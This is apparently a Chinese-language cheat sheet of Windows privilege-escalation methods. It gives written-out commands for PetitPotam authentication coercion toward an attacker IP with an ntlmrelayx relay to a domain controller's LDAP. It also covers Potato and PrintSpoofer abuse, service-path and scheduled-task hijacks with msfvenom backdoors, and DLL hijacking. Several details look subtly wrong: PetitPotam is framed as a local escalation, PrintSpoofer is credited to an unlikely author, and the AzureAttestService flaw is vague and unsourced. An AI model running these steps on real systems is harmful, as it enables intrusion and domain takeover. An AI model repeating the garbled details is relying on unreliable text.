概述:windows 提权的各种途径整理
[toc]
提权方案整理
PetitPotam
漏洞概述
PetitPotam 是一种利用 MS-EFSR(Encrypting File System Remote Protocol)协议进行本地提权的技术。该漏洞最初由安全研究员 Gilles Lionel (@topotam) 发现,可作为 PrintSpoofer 的替代方案。
利用原理
- 协议介绍:MS-EFSR 是 Windows 用于远程管理加密文件系统的协议
- 攻击面:EFSRPC 接口中的
EfsRpcOpenFileRaw等方法可以被滥用来进行认证强制(Authentication Coercion) - 提权路径:
- 强制 SYSTEM 账户向攻击者控制的服务器进行 NTLM 认证
- 配合 NTLM Relay 攻击,将认证转发到 LDAP 或其他服务
- 最终实现权限提升
利用条件
- 需要
SeImpersonatePrivilege权限(IIS、SQL Server 等服务账户通常具备) - 目标机器需要启用 EFS 服务(默认启用)
使用方法
# 强制目标机器进行认证
PetitPotam.exe <攻击者IP> <目标IP>
# 配合 ntlmrelayx 进行中继攻击
# 在攻击机上运行:
ntlmrelayx.py -t ldap://dc.example.com -smb2support
# 然后执行 PetitPotam 触发认证
PetitPotam.exe <攻击者IP> <目标IP>修复状态
- CVE-2021-36942:微软于 2021 年 8 月发布补丁
- 建议:禁用 EFSRPC 接口或限制匿名访问
AzureAttestService 提权
漏洞概述
magicAzureAttestService 是针对 Windows Azure Attestation Service(AAS)的本地提权漏洞利用工具。该服务是 Windows 10/11 和 Server 2019+ 中用于可信执行环境证明的组件。
利用原理
- 服务介绍:Azure Attestation Service 提供远程证明功能,验证代码在可信环境中运行
- 漏洞点:服务存在不安全的文件权限或 DLL 加载路径
- 攻击路径:
- 利用服务的权限配置缺陷
- 通过 DLL 劫持或符号链接攻击
- 以 SYSTEM 权限执行任意代码
利用条件
- Windows 10 1809+ / Windows Server 2019+
- Azure Attestation Service 已安装并运行
- 需要普通用户权限即可触发
使用方法
# 编译并执行
magicAzureAttestService.exe
# 成功后可获得 SYSTEM 权限的 Shell修复状态
- 微软已发布安全更新进行修复
- 建议:及时安装 Windows 安全补丁
其他常见提权方式
PrintSpoofer
经典的本地提权工具,利用 Print Spooler 服务的缺陷:
- 项目:ademotide/PrintSpoofer
- 原理:滥用 Print Spooler 的认证强制功能
- 条件:
SeImpersonatePrivilege
Potato 系列提权
| 工具 | 原理 | 条件 |
|---|---|---|
| Rotten Potato | DCOM/NTLM 中继 | SeImpersonatePrivilege |
| Juicy Potato | COM/DCOM 滥用 | SeImpersonatePrivilege |
| Sweet Potato | 多种组合利用 | SeImpersonatePrivilege |
| Rogue Potato | 远程 DCOM 调用 | SeImpersonatePrivilege |
服务配置错误
# 检查服务权限
accesschk.exe -uwcqv "Everyone" *
accesschk.exe -uwcqv "Users" *
accesschk.exe -uwcqv "Authenticated Users" *
# 利用不安全的服务路径
# 1. 检查服务路径是否有空格且未加引号
wmic service get name,displayname,pathname,startmode | findstr /i "auto"
# 2. 检查是否有写入权限
icacls "C:\Program Files\Vulnerable Service\"
# 3. 替换可执行文件或使用 msfvenom 生成后门计划任务
# 查看可修改的计划任务
schtasks /query /fo LIST /v
# 寻找以 SYSTEM 运行且当前用户可修改的任务DLL 劫持
# 使用 ProcMon 或 SharpDllProxy 寻找劫持点
# 常见劫持位置:
# - 应用程序目录
# - 当前工作目录
# - PATH 环境变量中的目录提权检查工具
| 工具 | 说明 |
|---|---|
| WinPEAS | 全面的提权枚举脚本 |
| PowerUp | PowerShell 提权检查 |
| PrivescCheck | 轻量级提权审计 |
| Seatbelt | C# 枚举工具 |